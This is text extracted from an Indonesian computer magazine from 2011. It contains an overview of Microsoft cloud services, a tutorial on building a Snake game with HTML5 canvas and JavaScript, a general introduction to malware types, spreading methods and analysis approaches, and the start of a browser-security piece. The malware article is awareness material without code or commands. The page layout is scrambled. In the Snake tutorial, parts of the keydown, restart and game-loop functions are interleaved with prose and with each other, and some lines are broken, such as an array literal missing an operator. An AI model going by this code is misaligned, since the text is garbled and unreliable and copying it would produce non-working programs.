CRM online dapat disamakan dengan Microsoft Dynamics CRM Enterprise yang di-hosting sebagai layanan cloud. Layanan ini disediakan guna membantu relation tracking, sales workflow marketing campaigns, dan customer service. CRM online dijual sebagai langganan servis SaaS di mana kita cukup membayar per bulan berdasarkan jumlah user. Anda dapat membaca lebih lengkap mengenai layanan Microsoft Dynamics online pada alamat http://www.microsoft. com/online/dynamics-crm-online.aspx (lihat Gambar 2). Office 365 merupakan layanan aplikasi cloud yang meliputi: Microsoft Office, Microsoft Office Web, SharePoint Online, Exchange Online, dan Lync. Office 365 dijual sebagai langganan servis SaaS di mana kita cukup membayar per bulan berdasarkan jumlah user. Secara umum, perbedaan CRM online dan Office 365 dapat dilihat pada Tabel 2.

TABEL 2. PERBEDAAN CRM ONLINE DAN OFFICE 365 Layanan

Sublayanan

CRM Online Office 365

SaaS SaaS Office Web Apps SaaS Sharepoint Online SaaS Lync SaaS

Kategori

Informasi lebih lengkap mengenai Office 365 dapat dilihat pada alamat http://www.microsoft.com/en-us/office365/online-software.aspx (lihat Gambar 3). Sementara itu, layanan Windows Azure Platform adalah Microsoft platform yang disediakan untuk meng-hosting aplikasi kita pada lingkungan cloud. Ini dapat digunakan untuk level PaaS dan IaaS, tetapi disarankan untuk PaaS. Dengan demikian, kita memperoleh banyak keuntungan. Layanan pada Windows Azure Platform dapat dilihat pada Tabel 3. 12/2011

11/2/2011 10:47:20 AM

Windows KNOW-HOW

TABEL 3. LAYANAN WINDOWS AZURE PLATFORM

TABEL 4. LAYANAN DAN SERVIS PADA WINDOWS AZURE PLATFORM

Layanan

Kategori

Windows Azure SQL Azure AppFabric

PaaS, IaaS PaaS PaaS

Functional Kategori Servis Area Windows Azure PaaS, IaaS Computer service Storage service Content delivery network Virtual network service DataMarket service SQL Azure PaaS Database service Reporting service Database sync service Database access service AppFabric PaaS Access control service Service bus Cache service

Pembaca dapat membaca lebih lengkap mengenai layanan Windows Azure Platform pada alamat http://www.microsoft. com/windowsazure/ (lihat Gambar 4).

Windows Azure Platform Layanan pada Windows Azure Platform memiliki banyak servis, tetapi secara garis besar ada tiga functional area. Secara lengkap, layanan pada Windows Azure Platform dapat dilihat pada Tabel 4.

Pengembangan Aplikasi Windows Azure Agar aplikasi kita dapat berjalan di atas Windows Azure Platform, kita harus memenuhi kebutuhan sistemnya. Beberapa kebutuhan untuk pengembangan aplikasi Windows Azure meliputi: Windows Azure SDK,

Visual Studio, Database tool seperti SQL Server

Management Studio untuk melakukan koneksi ke SQL Azure data-

base, dan .NET Framework (minimal versi 3.5

ke atas). Pengembangan aplikasi Windows Azure ini tidaklah harus berbasiskan .NET, tetapi native juga bisa, seperti C++. Kalau menggunakan IDE Visual Studio 2010, kita akan memperoleh template proyek Windows Azure seperti yang terlihat pada Gambar 5.

Menghitung ROI Azure Pebisnis yang memanfaatkan Windows Azure sebagai tool untuk mengeksekusikan bisnisnya kadang sering menanyakan cara menghitung return of investment (ROI)-nya. Sebagai ilustrasinya, Anda dapat memanfaatkan website dengan alamat http://azureroi. cloudapp.net/ untuk menghitung nilai ROI Azure.

LEBIH LANJUT Pallmann, David. 2001. The Windows Azure Handbook Volume I , 2011 Windows Azure, http://www. microsoft.com/windowsazure/

Gambar 2. Layanan CRM online.

Gambar 3. Layanan Office 365.

Gambar 4. Layanan Windows Azure Platform.

Gambar 5. Template proyek Windows Azure pada Visual Studio 2010.

12/2011

82_knowhow-AK_edit nur.indd 85

85

11/2/2011 10:47:20 AM

KNOW-HOW Web Development

MEMBUAT GAME SNAKE DENGAN HTML 5 Bagian 2 dari 2 artikel Game dengan HTML5 Paulus Lucky Tirma Irawan & Windra Swastika

Dalam artikel sebelumnya, penulis membahas fitur canvas dalam HTML 5 dan aplikasinya untuk pembuatan game Snake kali ini. Dalam artikel bagian kedua kali ini, kita akan menambahkan beberapa fitur lagi, seperti fungsi pergerakan ular, algoritma sederhana yang mengatur penempatan “tikus”, dan beberapa fitur tambahan lainnya, seperti fungsi restart, fungsi scoring, dan efek tubrukan, sehingga game tersebut dapat dimainkan seperti yang kita harapkan.

Snake Movement Seperti yang dijelaskan dalam artikel yang lalu tentang gerakan ular yang melata, dalam game tersebut, gerakan dan posisi ular disimpan dalam pasangan array bodyUlarX-bodyUlarY dan vXvY. Kini, kita akan menggunakan kedua untaian array tersebut untuk menggerakkan ular yang kita buat sebelumnya. Pertama, agar ular dapat bergerak maju sesuai dengan arah yang ditentukan, posisi mereka harus merupakan penam-

bahan dari posisi sebelumnya dengan perkalian besar dan arah gerak segmen yang bersangkutan. Sementara, agar ular tersebut melata, arah gerak kepala ular (persegi index ke-0 ) harus “dioper” secara runtut satu demi satu setiap kali fungsi penggambaran dipanggil. Secara teknis, vX[i] dan vY[i] di-assign dengan vX[i-1] dan vY[i-1]. Untuk lebih jelasnya, perhatikan Gambar 2. 1. Posisi ular pertama-tama. 2. Pada iterasi game-loop pertama, dalam ilustrasi ini tampak bahwa semua nilai posisi dan kecepatan pada segmen kedua adalah sama dengan yang dimiliki oleh segmen pertama sebelumnya. 3. Pada iterasi game-loop ketiga, dideteksi penekanan tombol S yang akan mengarahkan kepala ular ke bawah. 4. Pada iterasi game-loop pertama, dalam ilustrasi ini tampak bahwa semua nilai posisi dan kecepatan pada segmen kedua adalah sama dengan yang dimi-

liki oleh segmen pertama sebelumnya. Segmen ketiga memiliki variabelvariabel yang sama dengan yang dimiliki oleh segmen kedua pada iterasi sebelumnya. 5. Proses ini diulang hingga seluruh badan ular berpindah. Selanjutnya, tambahkan potongan kode berikut sesudah fungsi getSpeed() yang telah dijelaskan dalam artikel sebelumnya. function moveSnake() { // untuk semua segmen dalam ular, // tambahkan posisi dengan arah gerak // dikali dengan besar segmen for(var i=0;i<snakeLength;i++) { bodyUlarX[i] += (vX[i] * sqSize); bodyUlarY[i] += (vY[i] * sqSize); } // untuk setiap segmen // ganti arah setiap segmen dengan arah dari // segmen ‘di depannya’ for(var i=snakeLength-1;i>0;i--) { vX[i] = vX[i-1]; vY[i] = vY[i-1]; } }

Dalam artikel sebelumnya, terdapat sebaris perintah pada fungsi Init(), yaitu: Gambar 1. Snake Game yang telah berhasil dibuat dalam artikel sebelumnya.

window.onkeydown = keydown;

Gambar 2. Ilustrasi pergerakan ular.

86

86_knowhow-WS_edit nur.indd 86

Window merupakan objek represen12/2011

11/1/2011 3:35:31 PM

Web Development KNOW-HOW

tasi dari window browser yang sedang aktif pada layar. Sementara, onkeydown adalah event yang harus diisi oleh referensi ke sebuah fungsi. Dalam kasus ini, fungsi tersebut bernama keydown(). Artinya, apabila window yang membuka game ini sedang aktif, informasi semua penekanan tombol keyboard yang user lakukan akan diproses oleh fungsi keydown() yang penulis akan deskripsikan. Fungsi keydown secara implisit memerlukan parameter bernama “e”. “e” dapat dianggap representasi dari tomboltombol pada keyboard. Dari objek “e” inilah kita dapat mengakses informasi tombol apakah yang user tekan dengan bantuan object keyCode terdapat pada “e” atau tidak. Agar ular dapat berpindah sesuai dengan perintah user, tambahkan potongan kode berikut sesudah moveSnake di atas.

vX[0] = 0;

fungsi gameProcess()

vY[0] = 1;

intervalId = setTimeout(gameProcess,

}

getSpeed());

else if(e.keyCode == 13 && gameOver == true) {

clear();

// jika status game berakhir dan

// gambar border canvas

tombol enter ditekan

dari keyboard function keydown(e)

// gerakkan ular

restart();

moveSnake();

}

// gambarkan ular drawSnake();

}

}

Restart Function Jika game nantinya berakhir, game akan berulang dari awal dengan semua variabel dan objek diset kembali seperti asalnya. Untuk itu, tambahkan fungsi restart() sesudah fungsi keydown() di atas.

{ bodyUlarX = new Array(150,150 sqSize,150-2*sqSize); // taruh ular di posisi mula-mula

// jika tekan tombol A dan ular tidak

bodyUlarY = new Array(200,200,200);

if(e.keyCode == 65 && vX[0] != 1) {

vX = new Array(1,1,1);// taruh ular di posisi mula-mula vY = new Array(0,0,0);// taruh ular

// belokkan ular ke kiri vX[0] = -1; vY[0] = 0;

di posisi mula-mula snakeLength = 3;// set panjang ular menjadi 3

}

score = 0;// set score kembali ke nol

// jika tekan tombol W dan ular tidak

level = 1;// set level kembali ke satu

bergerak ke bawah

eaten = true;// generate rat

else if (e.keyCode == 87 && vY[0] != 1)

// set bagian info kembali ke awal

{

scoreDiv.innerHTML = “Score: “

// belokkan ular ke atas

+score+”

controlDiv.innerHTML = “Controls:

vX[0] = 0;

W= Up; A = Left; S = Down; D = Right”; // pada waktu yang ditentukan,

// jika tekan tombol D dan ular tidak bergerak ke kiri else if(e.keyCode == 68 && vX[0] != -1) {

panggil function gameProcess intervalId = setTimeout( gameProcess, getSpeed()); }

//belokkan ular ke kanan vX[0] = 1; vY[0] = 0; } // jika tekan tombol S dan ular

{ // belokkan ular ke bawah

12/2011

86_knowhow-WS_edit nur.indd 87

function placeRat() { // jika tikus telah dimakan if(eaten) { // generate posisi tikus dengan fungsi random. rX = Math.floor(width * Math.random()

Terakhir, tambahkan dalam fungsi gameProcess() potongan kode sehingga fungsi gameProcess() tampak sebagai berikut.

tidak bergerak ke atas else if(e.keyCode == 83 && vY[0] != -1 )

Tikus yang hendak ditambahkan di sini sebenarnya adalah sebuah titik dengan koordinat yang ditentukan oleh rX dan rY. Kedua koordinat tersebut dihasilkan oleh fungsi random dalam JavaScript. Karena fungsi random hanya menghasilkan bilangan pecahan antara 0 hingga 1, digunakan rumus agar posisi tikus tidak keluar dari layar dan dapat “dimakan” oleh ular. Setelah itu, posisi tikus masih harus dicek, apakah pada waktu tersebut posisi tikus yang hendak di-generate sama dengan posisi salah satu segmen tubuh ular. Sangat aneh jika tikus tersebut di-generate tepat di atas tubuh ular. Jika tidak ada masalah, tikus bisa segera digambar di layar.

Level: “+level;

vY[0] = -1;

}

Sekarang, game Snake Anda sudah dapat digerakkan dengan lancar dari browser dengan menggunakan tombol ASDW. Namun, game ini masih belum memiliki arti jika tidak ada tikus yang dijadikan sebagai target ular.

Place Rat

{

bergerak ke kanan

drawCanvasBoundary();

gameOver = false;

function restart() // e adalah suatu object representasi

// bersihkan layar dari gambar sebelumnya

/ sqSize) * sqSize; rY = Math.floor(height * Math random() / sqSize) * sqSize; // cek terlebih dahulu, // apakah posisi tikus bertabrakan

function gameProcess() { // set timeout bagi pemanggilan

dengan tubuh ular // jika ya, maka generate lagi posisi yang baru

87

11/1/2011 3:35:53 PM

KNOW-HOW Web Development

// jika tidak, maka set eaten menjadi false // dan gambarkan tikus tersebut if(checkFoodCollision(rX,rY)) placeRat(); else eaten = false; } drawPoint(rX,rY); } function checkFoodCollision(x,y) { // untuk semua segmen dalam body ular // jika ada yang posisinya sama dengan // posisi x, y dalam parameter // maka return true, jika tidak return false for(var i = 0; i<snakeLength; i++) {

Gambar 3. Untuk tabrakan dengan diri Gambar 4. Untuk meramalkan posisi segmen terbaru sendiri, paling sedikit dibutuhkan lima yang hendak dimasukkan, diperlukan posisi segmen segmen. terakhir dalam array dan kecepatannya.

if(x == bodyUlarX[i] && y == bodyUlarY[i]) return true; } return false; }

Scoring dan Collision Detection Dalam game Snake ini, pemain akan bertambah skornya apabila kepala ular “memakan” tikus. Proses memakan diindikasikan dengan posisi kepala ular dan posisi tikus yang tepat sama. Jika skor tersebut telah mencapai kelipatan seratus, level akan bertambah. Bertambahnya level akan menyebabkan refresh periode atau bilangan yang dihasilkan oleh fungsi getSpeed() mengecil sesuai dengan yang telah ditentukan pada array snakeSpeed sebelumnya. Akibat mengecilnya periode pemanggilan fungsi gameProcess(), kecepatan ular bertambah sehingga permainan menjadi lebih sulit. Selain itu, pemain juga dapat kalah (game over) apabila ular menabrak dinding arena atau apabila ular menabrak tubuhnya sendiri (lihat Gambar 3). Eatrat() adalah fungsi yang ditugaskan untuk memeriksa apakah kepala ular (persegi dengan index ke nol) memiliki posisi yang sama dengan tikus. Jika sama, selain bertambahnya skor dan level bagi pemain, panjang ular juga akan bertambah. Pertambahan ini dilakukan dengan menambah sebuah segmen baru di belakang segmen terakhir dalam untaian. Posisi segmen baru ini

88

86_knowhow-WS_edit nur.indd 88

diambil berdasarkan segmen terakhir dan arah ular lalu dengan method push milik Array, segmen dimasukkan ke dalam untaian (array). CheckCollision() adalah fungsi yang akan mencegah ular milik user keluar dari arena dan menghilang dari pandangan. Apabila ular menabrak batas

alias arena tersebut, pemain akan dinyatakan kalah. Selain itu, CheckCollision() juga akan memanggil fungsi checkSelfCollision() untuk mengecek apakah kepala ular bertabrakan dengan dirinya sendiri. checkSelfCollision() yang digunakan untuk mengecek tabrakan dengan diri sendiri akan mencari segmen yang bertabrakan dimulai dari empat. Kenapa? Karena ular dengan panjang empat segmen tidak akan pernah bisa menabrak dirinya sendiri (Anda bisa coba). Dan, semenjak fungsi tersebut sangat sering dipanggil, cukup beralasan untuk memaksimalkan sumber daya komputer agar tidak melakukan perhitungan yang tidak perlu. Tambahkan potongan kode berikut sesudah fungsi checkFoodCollision(x,y) yang dibahas sebelumnya.

bodyUlarY[0] == rY) { // maka, set eaten menjadi true eaten = true; // hitung posisi segmen yang hendak dimasukkan var newX = bodyUlarX[snakeLength-1] - vX[snakeLength-1]*sqSize; var newY = bodyUlarY[snakeLength-1] - vY[snakeLength-1]*sqSize; // masukkan segmen yang baru dalam array bodyUlarX.push(newX); bodyUlarY.push(newY); vX.push(vX[snakeLength-1]); vY.push(vY[snakeLength-1]); // tambah panjang ular snakeLength++; // tambah score user score += 20; // apabila score merupakan kelipatan 100, // level bertambah if((score%100) == 0) level++; // tampilkan informasinya scoreDiv.innerHTML = “Score: “+score+”

Level: “+level;

} }

function eatRat() { // jika kepala ular memiliki // posisi yang sama dengan posisi tikus if(bodyUlarX[0] == rX &&

function checkCollision() { // jika ular mencoba kerluar dari arena atau // bertabrakan dengan dirinya sendiri

12/2011

11/1/2011 3:35:53 PM

Web Development KNOW-HOW

if(bodyUlarX[0] >= width ||

// cek tabrakan

bodyUlarX[0] < 0 || bodyUlarY[0] < 0

checkCollision();

|| bodyUlarY[0] >= height ||

// letakkan tikus

checkSelfCollision(bodyUlarX[0],bod UlarY[0]))

placeRat(); }

{ // tampilkan pesan gameOver scoreDiv.innerHTML = “Score: “+score+”

Level: “+level+”

GAME OVER

”; controlDiv.innerHTML = “Press \”Enter\”to restart”;

Simpan file yang sudah Anda buat dengan ekstensi .html atau .htm. Lalu, buka file tersebut dengan browser Anda. Game kita sudah selesai dibuat. Anda bisa menyimpannya dan mencobanya di browser favorit Anda.

gameOver = true; // hentikan pemanggilan gameProcess

Simpulan

clearTimeout(intervalId);

HTML 5 memperkenalkan fungsifungsi yang sangat melimpah, mulai pembuatan animasi hingga video player tanpa bantuan software pihak ketiga semacam Adobe Flash. Di antara tagtag baru yang diperkenalkan, yang paling serbaguna adalah tag

. Dengan tag ini, Anda dapat menggambar animasi maupun game, baik dalam lingkungan 2D maupun 3D. Sayang, tidak semua fitur bisa dijelaskan dalam artikel ini. Jika Anda ingin melihat keseluruhan kode game ini, Anda bisa melihatnya di http://blogku-mdeni. blogspot.com/p/game.html.

} } function checkSelfCollision(x,y) { // cari semua koordinat segemn ular dimulai dari index 4 // jika ada yang sama dengan koordinat kepala ular // maka return true for(var i=4;i<snakeLength;i++) { if(bodyUlarX[i] == x && bodyUlarY[i] == y) { return true; }

HTML 5 Demo

}

Berikut adalah beberapa situs yang menggunakan teknologi HTML 5. Jika tertarik dengan dunia web development, Anda wajib mengunjungi situ-situs berikut.

return false; }

Sekarang, ubah fungsi gameProcess() agar memanggil semua fungsi yang dibuat sebelumnya.

http://code.google.com/p/paintweb/ http://www.benjoffe.com/code/dem-

os/canvascape/ http://www.blobsallad.se/ http://html5advent.com/ http://mrdoob.com/projects/chrome-

experiments/ball_pool/ http://canvasrider.com/ Paulus Lucky Tirma Irawan & Windra Swastika adalah dosen Teknik Informatika, Universitas Ma Chung, Malang.

LEBIH LANJUT Meloni, Julie C. & Michael Morrison. 2010. Sams Teach You HTML and CSS in 24 Hours: Eight Edition. USA: Sams Publishing Pollock, John. 2010. JavaScript: A Beginner’s Guide, Third Edition. USA: McGraw-Hill Companies Yank, Kevin & Cameron Adams. 2007. Simply JavaScript. Canada: SitePoint Pty., Ltd. http://coding.smashingmagazine. com/2009/07/16/html5-and-thefuture-of-the-web/ http://coding.smashingmagazine. com/2009/08/04/designing-a-html-5layout-from-scratch/ http://dev.opera.com/articles/view/ html-5-canvas-the-basics/ http://en.wikipedia.org/wiki/HTML5 http://www.codeproject.com/ Articles/230794/HTML5-Games101-An-introductory-tutorial-toHTML5 http://www.html5rocks.com/en/

function gameProcess() { // set timeout bagi pemanggilan fungsi gameProcess() intervalId = setTimeout(gameProcess, getSpeed()); // bersihkan layar dari gambar sebelumnya clear(); // gambar border canvas drawCanvasBoundary(); // gerakkan ular moveSnake(); // cek makanan eatRat(); // gambarkan ular drawSnake();

12/2011

86_knowhow-WS_edit nur.indd 89

Canvas Rider merupakan salah satu situs yang menarik untuk dikunjungi.

89

11/1/2011 3:35:54 PM

KNOW-HOW Reverse Code Engineering

MENGENAL MALWARE LEBIH DEKAT Memahami Malware yang Terkadang Meresahkan Pengguna Komputer Fajar Anggiawan

Sangat sering orang menganggap segala hal yang merusak sistem komputer adalah virus. Dalam tulisan ini dijelaskan apa saja sebenarnya jenisjenis malware di mana virus juga merupakan bagian malware.

Mengenal Sistem yang Terinfeksi

Malware adalah kependekan dari malicious software atau software perusak. Malware merupakan program/ konten/kode jahat yang dibuat untuk tujuan merugikan, seperti menyusup atau merusak sistem komputer. Pada 1984, seorang ilmuwan komputer bernama Dr. Cohen mendefinisikan virus komputer sebagai program yang mampu menginfeksi program lain dengan cara menyisipkan/menduplikasi kode virus ke dalam program tersebut yang akan diinfeksi. Definisi tersebut berdasarkan tingkah laku program yang mampu menduplikasi dirinya sendiri (self-replicating program) pada waktu itu. Saat ini virus telah berevolusi menjadi banyak karakteristik yang selanjutnya dikenal sebagai malware. Virus sendiri digolongkan sebagai bagian malware.

Bagaimana Anda mengetahui bahwa sistem Anda kemungkinan besar telah terkena malware? Berikut gejala-gejala sistem yang terinfeksi virus. Respons sistem lebih lambat daripada sebelumnya. Hal ini karena malware menggunakan resource pada sistem. Muncul file-file baru, terutama berjenis executable. File ini biasanya mudah terlihat di removable disk (flashdisk). Umumnya, file ini terlihat jika opsi “Show hidden files, folder, and drives” dipilih serta opsi “Hide protected operating system file” tidak dipilih. Ada traffic jaringan asing yang sedang aktif. Halaman awal pada browser membuka situs asing. Muncul pop-up atau iklan ketika membuka situs pada browser. Muncul peringatan “Virus terdeteksi” dari program antivirus yang tidak dikenali serta adanya permintaan untuk registrasi antivirus tersebut. Ada pemberitahuan dari teman Anda tentang account Anda yang mengirim pesan berisi link tertentu.

Asal-Usul Virus Komputer

Klasifikasi Malware

Pada 1949, seorang ilmuwan matematika dari Hungaria bernama John von Neumann mengungkapkan teori selfreplicating program. Sampai pada 1960, suatu grup programmer mengembangkan game bernama CoreWars. Game ini dapat memperbanyak dirinya. Sejak itulah muncul opini liar tentang konsep serupa untuk menciptakan virus komputer.

Kategori malware ditentukan berdasarkan beberapa faktor yang dilakukan malware pada sistem, cara penyebaran malware, hingga rutin-rutin spesial yang dilakukan oleh malware. Berikut aktivitas-aktivitas yang umum dilakukan oleh malware: menginfeksi program lain, menduplikasi diri, membuka backdoor agar orang lain

Apa Itu Malware?

90

90_knowhow-FA_12 edit nur.indd 90

dapat mengakses komputer yang terkena malware, merekam aktivitas pengguna dan mengirimnya melalui internet, men-download file malware baru agar tidak mudah terdeteksi antivirus, membuka port agar perilaku malware dapat dikendalikan melalui control server melalui internet, menginjeksi proses lain agar proses malware tidak terlihat dengan mudah, mengganti protected file system untuk memanipulasi koneksi jaringan/internet, melakukan hook ke sistem ataupun semua program untuk teknik persembunyian oleh malware, memodifikasi registry untuk berjalan setiap kali komputer dinyalakan.

A. Virus “Virus” merupakan kata yang paling sering disebutkan untuk malware yang menginfeksi komputer. Sebenarnya, dalam penggolongan malware, virus merupakan program jahat yang mempunyai kemampuan menduplikasi diri dengan cara menginfeksi program yang sudah ada. Contoh virus adalah Sality. B. Worm Worm menduplikasi diri dengan cara memperbanyak dirinya, misalnya ke flashdisk, jaringan local, P2P, IRC, chat messenger, hingga e-mail. Contoh worm adalah Brontok. C. Trojan Horse Trojan merupakan program jahat yang diselipkan pada program umum. 12/2011

11/2/2011 11:10:59 AM

Reverse Code Engineering KNOW-HOW

G. Rootkit Rootkit menggunakan teknologi canggih untuk menyembunyikan dirinya, baik pada file, registry, maupun proses. Komputer yang terkena rootkit akan sulit dibersihkan karena sistem telah dimanipulasi oleh rootkit. Cara termanjur untuk mendeteksi rootkit adalah men-scan komputer tanpa sistem aktif, misalnya melalui live OS. Contoh rootkit adalah HackerDefender.

Penginfeksian File

Gambar 1. Tampilan antivirus palsu.

Worm ditujukan untuk mengecoh pengguna agar seakan-akan tidak membuka program yang mencurigakan. Trojan tidak berusaha menarik perhatian pengguna karena umumnya digunakan untuk tujuan jahat, termasuk menyebarkan virus. Contoh trojan horse adalah Exebinder. D. Backdoor Hati-hati jika komputer Anda terkena backdoor karena komputer Anda sudah dikuasai oleh orang lain. Backdoor umum nya memanfaatkan port yang terbuka untuk berkomunikasi ke luar. Seiring dengan majunya teknologi malware, backdoor dapat menumpangi proses bawaan Windows untuk mencegah tersaring oleh Firewall. Contoh backdoor adalah Back Orifice. E. HackTool Program ini digunakan oleh hacker/ scriptkiddies untuk melakukan penyerangan terhadap sistem. Contoh tujuan hacktool adalah mengebom server sehingga server tersebut tidak dapat diakses oleh orang lain. Contoh hacktool adalah Haktek. F. Spyware Spyware adalah program yang mengambil data pribadi pengguna komputer tanpa sepengetahuan pengguna komputer tersebut. Data yang diambil adalah password, browser history, hingga data kartu kredit. Umumnya, spyware terintegrasi dengan browser sehingga aktif ketika browser sedang digunakan oleh pemilik komputer. Ada istilah lain yang termasuk kategori spyware, yaitu adware, keylogger, atau hijacker. Contoh spyware adalah Gator. 12/2011

90_knowhow-FA_12 edit nur.indd 91

H. Rogue Application Program ini merupakan jenis program yang mirip antivirus, tetapi bertujuan mencari keuntungan dari komputer yang terinfeksi. Program ini seakanakan mendeteksi adanya keberadaan malware di komputer terinfeksi dan antivirus palsu ini menyuruh pengguna untuk membeli program ini agar dapat membersihkan virus tersebut. Pembelian ini tentu akan merugikan pengguna karena data pribadi kartu kredit pun terekam oleh situs yang dikelola orang jahat. Industri antivirus palsu cukup berkembang pesat hingga sekarang. Hal ini karena keuntungan yang diperoleh cukup besar.

I. Joke Program Adalah program iseng yang kadang memunculkan layar biru (BSOD) sehingga pengguna komputer panik. Program ini digolongkan sebagai malware oleh banyak antivirus karena dapat membuat pengguna menganggap komputernya rusak sehingga mengganggu aktivitas pengguna.

Teknik Penyebaran Malware

Ada berbagai cara yang dilakukan malware untuk melakukan penyebaran. Sebagian cara penyebaran tersebut adalah menggunakan teknik social engineering, yaitu dengan menipu korban seakan-akan file yang dibuka bukanlah file berupa malware. Berikut cara-cara penyebaran yang dapat dilakukan oleh malware. Boot Sector Pada harddisk terdapat lokasi yang dipakai untuk menampung informasi berisi data partisi. Malware dapat menginfeksi lokasi ini agar aktif setiap kali komputer dinyalakan.

Jenis file yang umumnya diinfeksi adalah executable, tetapi tidak jarang file yang diinfeksi berupa source code (VBS, HTML, dan lainnya). E-mail Ketika ada malware yang aktif di komputer, sangat mudah bagi malware tersebut untuk menyebarkan diri melalui e-mail. Dengan memanfaatkan SMTP open relay untuk mengirim e-mail secara bebas serta mencari alamat e-mail yang terdapat dalam harddisk korban, malware dapat leluasa mengirim duplikasi dirinya ke kontak e-mail Anda. Chat Messanger Pernahkah Anda menerima chat dari Facebook atau Yahoo Messenger yang berisi link yang tidak dikenal? Mungkin saja bukan teman Anda yang mengirimnya, melainkan malware. Malware dapat melakukan ini dengan melakukan hooking winsock pada sistem atau cara lain, yaitu memanfaatkan cookies yang tersimpan. Jaringan Lokal Jaringan yang digunakan untuk menaruh file untuk keperluan bersama berisiko jadi tempat penyebaran malware. Hal ini dimungkinkan karena jika ada seseorang yang komputernya terinfeksi malware dan membuka folder yang di-share untuk bersama, malware dapat meng-copy-kan di rinya ke folder tersebut sehingga orang lain yang mengakses folder tersebut berisiko terkena malware. P2P Salah satu media download yang masih sering digunakan adalah P2P atau orang lebih mengenalnya dengan “torrent”. Hati-hati, karena bisa saja file yang Anda download adalah malware yang menggunakan nama file yang menggoda. Removable Media Flashdisk merupakan media penyimpan umum yang digunakan hampir semua orang. Pada media inilah malware dapat menyebar dengan cepat, terutama jika sistem operasi yang digunakan jarang di-update. Dengan mengeksploitasi file shortcut

91

11/2/2011 11:11:02 AM

KNOW-HOW Reverse Code Engineering

pada Windows, malware akan aktif cukup dengan mengharapkan pengguna membuka Windows Explorer untuk melihat isi flashdisk. Bluetooth Jangan hidupkan bluetooth Anda jika Anda tidak menggunakannya, terutama bluetooth pada gadget. Pastikan level security pada bluetooth menggunakan password ketika melakukan pairing. Website Pernah mendengar istilah “jebakan betmen”? Dalam dunia malware, efek jebakan ini adalah komputer terinfeksi malware. Umumnya, situs yang mengandung malware ini adalah situs-situs penyedia crack dan situs pornografi. Jadi, sebaiknya hindari membuka jenis situs tersebut. Tidak tertutup kemungkinan situs-situs biasa pun dapat dijadikan sarana penyebaran malware. Sebagai contoh, jika script website Anda terinfeksi malware dan Anda upload ke hosting, setiap orang yang mengakses situs Anda pun berpotensi terkena malware. Celah Keamanan Selalu update sistem operasi Anda. Itulah pesan yang biasa disampaikan oleh pakar security. Memangnya kenapa? Jika Anda tidak percaya pada imbauan tersebut, kenapa Anda tidak mencoba meng-update Windows Anda? Jika Anda belum pernah update, ada banyak patch yang berisi celah “Remote Code Execution” yang akan ditemui. Ini adalah celah di mana hacker dapat menjalankan kode (shellcode) di komputer Anda tanpa izin terlebih dahulu.

Menganalisis Malware Anda telah mengetahui malware dan tingkah laku dalam menjalankan aksinya. Mungkin Anda juga penasaran bagaimana seorang penganalisis malware dapat meneliti hingga membuat obat malware. Untuk membersihkan malware, secara garis besar ada dua hal yang harus dibersihkan, yaitu memory dan file. Memory adalah tempat malware aktif pada komputer Anda, sedangkan file adalah lokasi di mana malware secara fisik berada. Anda tidak dapat mengha-

92

90_knowhow-FA_12 edit nur.indd 92

pus file yang sedang aktif di memory, bukan? Oleh karena itu, penting untuk membersihkan malware di memory terlebih dahulu baru dapat membersihkan malware pada file. Mematikan program biasa di memory mungkin sangat mudah, yaitu dengan menggunakan aplikasi Task Manager dan memilih End Process pada proses program tersebut. Begitu pula dengan malware. Namun, ada malware yang aktif tidak berupa proses, melainkan “proses dalam proses” atau dikenal dengan nama thread. Thread inilah yang mesti dimatikan meski terkadang thread ini bersifat siluman sehingga butuh sedikit kompleksitas dalam mematikannya. Pada file sendiri, ada file yang memang harus langsung dihapus oleh antivirus dan ada pula file yang harus diperbaiki/ dinormalkan oleh antivirus. Sebagai contoh, ketika program Anda terinfeksi oleh virus, berdasarkan teori yang tepat, yang harus dilakukan antivirus adalah memisahkan bagian virus dari program Anda. Ada banyak sekali dinamika untuk melakukan pemisahan ini. Oleh karena itu, dibutuhkan pengetahuan tentang PE File Format. Ada dua jenis metode dalam melakukan penganalisisan pada malware, yaitu analisis statis dan analisis dinamis. 1. Analisis Statis Metode ini dilakukan tanpa mengeksekusi malware. Malware akan dipelajari dengan menggunakan beberapa program untuk mencari tahu pola laku dan signature yang akan digunakan antivirus. Program yang umum digunakan untuk analisis statis adalah Hex Editor, Peid, hingga program decompiler seperti VB Decompiler. Dengan metode ini, diharapkan terdapat string atau tulisan yang dapat dijadikan acuan untuk menyimpulkan pola laku malware.

dalam sistem. Contoh program yang digunakan untuk analisis dinamis adalah SysAnalyzer, OllyDBG, dan IDA Pro.

Trik Malware Mendapatkan Korban Mungkin Anda pernah mengeklik link yang menurut Anda adalah link gambar dan ternyata Anda men-download malware, bahkan menjalankan malware tersebut dengan harapan melihat gambar dari link tersebut. Agar tidak terkecoh, berikut ini trik-trik yang sering digunakan oleh malware untuk menjebak calon korban. Menyamarkan Ekstensi File Pada Windows, terdapat konfigurasi untuk menampilkan atau menyembunyikan ekstensi pada file. Konfigurasi ini dapat diatur pada Folder Option dan opsi “Hide extensions for known file types”. Secara default, konfigurasi ini dalam keadaan aktif. Artinya, Anda tidak bisa melihat ekstensi pada suatu file. Jika ada file dengan nama “foto.jpg.exe”, yang Anda akan lihat adalah “foto.jpg”. Agar tidak terkecoh, matikan opsi ini sehingga Anda akan melihat nama beserta ekstensi file tersebut. Menggunakan Shortcut Hindari mengeksekusi file shortcut yang berekstensi .lnk dari flashdisk meskipun target file dari shortcut berupa file gambar. Lakukan update pada sistem operasi juga sehingga tercegah dari eksekusi otomatis pada shortcut.

Gambar 2. Tampilan Folder Option.

2. Analisis Dinamis Analisis dinamis adalah lawan dari analisis statis, di sini dibutuhkan pengeksekusian dari malware. Malware dijalankan dan dimonitor dengan program tertentu. Hal-hal yang dapat dimonitor adalah file dan registry yang dibuat/ dimodifikasi/dihapus, koneksi/traffic jaringan, proses, serta objek-objek lain

Simpulan Mempunyai antivirus yang andal, mencegah tereksekusinya program dari media penyimpanan, serta tidak mengeklik atau men-download file dari situs yang tidak dikenal adalah solusi yang tepat untuk menghindari penginfeksian malware. 12/2011

11/2/2011 11:11:02 AM

Deliver More, e r ! e h w y n A r e Deliv wayang force__vertikal.indd 1

02/11/2011 13:53:07

KNOW-HOW Reverse Code Engineering

MEMPERSENJATAI BROWSER DARI ANCAMAN DI INTERNET Internet membuat segalanya menjadi mudah. Benarkah? Joko Nurjadi

